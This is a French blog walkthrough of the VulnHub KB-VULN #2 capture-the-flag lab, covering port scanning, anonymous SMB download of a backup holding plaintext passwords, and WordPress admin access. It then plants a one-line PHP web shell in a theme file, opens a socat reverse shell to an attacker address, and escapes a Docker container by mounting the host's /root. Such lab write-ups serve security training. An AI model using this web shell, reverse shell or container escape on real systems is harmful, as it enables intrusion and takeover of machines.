Accueil Solution du CTF KB-VULN #2 de VulnHub
Post
Annuler

Solution du CTF KB-VULN #2 de VulnHub

2 Rapides

Voici donc la suite du précédent CTF de la série.

Un scan de port remonte du Samba et du Apache :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Nmap scan report for 192.168.56.6
Host is up (0.00032s latency).
Not shown: 65530 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 5e:99:01:23:fe:c4:84:ef:14:55:87:da:a3:30:6f:50 (RSA)
|   256 cb:8e:e1:b3:3a:6e:64:9e:0f:53:39:7e:18:9d:8b:3f (ECDSA)
|_  256 ec:3b:d9:53:4a:5a:f7:32:f2:3a:f7:a7:6f:31:87:52 (ED25519)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
MAC Address: 08:00:27:03:F4:A4 (Oracle VirtualBox virtual NIC)
Service Info: Host: UBUNTU; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: UBUNTU, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time: 
|   date: 2021-12-07T12:23:16
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: kb-server
|   NetBIOS computer name: UBUNTU\x00
|   Domain name: \x00
|   FQDN: kb-server

Sur le serveur web, on trouve via énumération des dossiers un wordpress installé. Le module wp_enum de Wapiti détecte quelques plugins et thèmes, mais rien de critique :

1
2
3
4
5
6
7
8
[*] Lancement du module wp_enum
Enumération des extensions WordPress :
akismet 4.1.6 détecté
----
Enumération des thèmes WordPress :
twentytwenty 1.5 détecté
twentyseventeen  détecté
twentynineteen 1.7 détecté

Avec l’aide de wpscan j’obtiens la version du Wordpress :

1
2
3
4
5
[+] WordPress version 5.5.1 identified (Insecure, released on 2020-09-01).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.56.6/wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.5.1'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.56.6/wordpress/, Match: 'WordPress 5.5.1'

Là encore rien de critique. Direction Samba sur lequel on trouve un disque partagé avec une archive zip :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ smbclient  -U "" -N -L //192.168.56.6

        Sharename       Type      Comment
        ---------       ----      -------
        Anonymous       Disk      OPEN YOUR EYES!
        IPC$            IPC       IPC Service (Samba Server 4.7.6-Ubuntu)
SMB1 disabled -- no workgroup available

$ smbclient  -U "" -N //192.168.56.6/Anonymous
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Sep 17 12:58:56 2020
  ..                                  D        0  Wed Sep 16 12:36:09 2020
  backup.zip                          N 16735117  Thu Sep 17 12:58:56 2020

                14380040 blocks of size 1024. 8346256 blocks available
smb: \> lcd /tmp
smb: \> get backup.zip
getting file \backup.zip of size 16735117 as backup.zip (80905,3 KiloBytes/sec) (average 80905,4 KiloBytes/sec)

À l’intérieur, on trouve entre autres un fichier remember_me.txt avec le contenu suivant :

1
2
Username:admin
Password:MachineBoy141

Il y a aussi les identifiants de base de données dans la configuration du Wordpress :

1
2
3
4
5
6
7
define( 'DB_NAME', 'wordpress_db' );                                                                                   

/** MySQL database username */                                                                                         
define( 'DB_USER', 'kb_vuln' );                                                                                        

/** MySQL database password */                                                                                         
define( 'DB_PASSWORD', 'hellelujah' );

Le mot de passe MachineBoy141 ne permet pas un accès sur SSH / SMB mais permet d’accéder à la zone d’administration du Wordpress.

La technique habituelle consiste à éditer un fichier PHP via l’interface de Wordpress. On peut éditer les fichiers des thèmes installés, mais tous ne permettent pas la modification (en raison des permissions sur les fichiers).

Finalement j’ai édité le fichier wp-content/themes/twentynineteen/404.php pour y mettre le code suivant au début :

1
if (isset($_GET["cmd"])) { echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; }

2 Furieux

D’après les interfaces réseau, on est dans un Docker :

1
2
3
4
3: docker0:  mtu 1500 qdisc noqueue state DOWN group default 
 link/ether 02:42:21:e3:e8:8c brd ff:ff:ff:ff:ff:ff
 inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
 valid\_lft forever preferred\_lft forever

socat est présent alors j’en profite pour récupérer un reverse shell avec PTY.

Côté attaquant :

1
socat file:`tty`,raw,echo=0 TCP-L:4242

Côté victime :

1
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242

En réutilisant les identifiants SQL je fouille dans le serveur MySQL local, mais je ne trouve rien d’intéressant.

Il y a un utilisateur kbadmin sur la machine et il utilise le même mot de passe que le Wordpress (MachineBoy141) on peut accéder au compte via la commande su.

On peut se connecter aussi directement via SSH mais le service est dans le container donc aucun gain.

L’utilisateur a des autorisations sudo pour passer root :

1
2
3
4
5
6
7
8
9
10
11
kbadmin@kb-server:/$ sudo -l
[sudo] password for kbadmin: 
Matching Defaults entries for kbadmin on kb-server:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User kbadmin may run the following commands on kb-server:
    (ALL : ALL) ALL

root@kb-server:~# cat flag.txt 
dc387b4cf1a4143f562dd1bdb3790ff1

Toutefois, on est toujours dans le container, il est temps de s’échapper. Là encore on va employer une technique classique d’escalade de privilèges via Docker consistant à monter le disque de l’hôte dans le container.

Voir ici pour plus d’informations sur les risques de lancer un container Docker avec privilèges.

Mon problème est que la VM n’a pas d’accès Internet, je ne peux donc pas faire un simple Docker pull. À la place, je vais créer une archive d’une image Alpine Linux pour la copier ensuite dans la VM.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ docker pull alpine
Using default tag: latest
latest: Pulling from library/alpine
59bf1c3509f3: Pull complete 
Digest: sha256:21a3deaa0d32a8057914f36584b5288d2e5ecc984380bc0118285c70fa8c9300
Status: Downloaded newer image for alpine:latest
docker.io/library/alpine:latest

$ docker images -a
REPOSITORY          TAG       IMAGE ID       CREATED        SIZE
alpine              latest    c059bfaa849c   12 days ago    5.58MB

$ docker save --output alpine.tar c059bfaa849c

Ensuite je charge l’image et l’exécute en montant le /root de l’hôte :

1
2
3
4
5
6
7
8
9
10
11
12
kbadmin@kb-server:~$ docker load --input alpine.tar
8d3ac3489996: Loading layer [==================================================>]  5.866MB/5.866MB
Loaded image ID: sha256:c059bfaa849c4d8e4aecaeb3a10c2d9b3d85f5165c66ad3a4d937758128c4d18

kbadmin@kb-server:~$ docker run -it -v /root:/real_root sha256:c059bfaa849c4d8e4aecaeb3a10c2d9b3d85f5165c66ad3a4d937758128c4d18
/ # ls /
bin        dev        etc        home       lib        media      mnt        opt        proc       real_root  root       run        sbin       srv        sys        tmp        usr        var
/ # ls /real_root/
flag.txt
/ # cd /real_root/
/real_root # cat flag.txt 
dc387b4cf1a4143f562dd1bdb3790ff1

Evalal’travail !

Published December 08 2021 at 12:07

Cet article est sous licence CC BY 4.0 par l'auteur.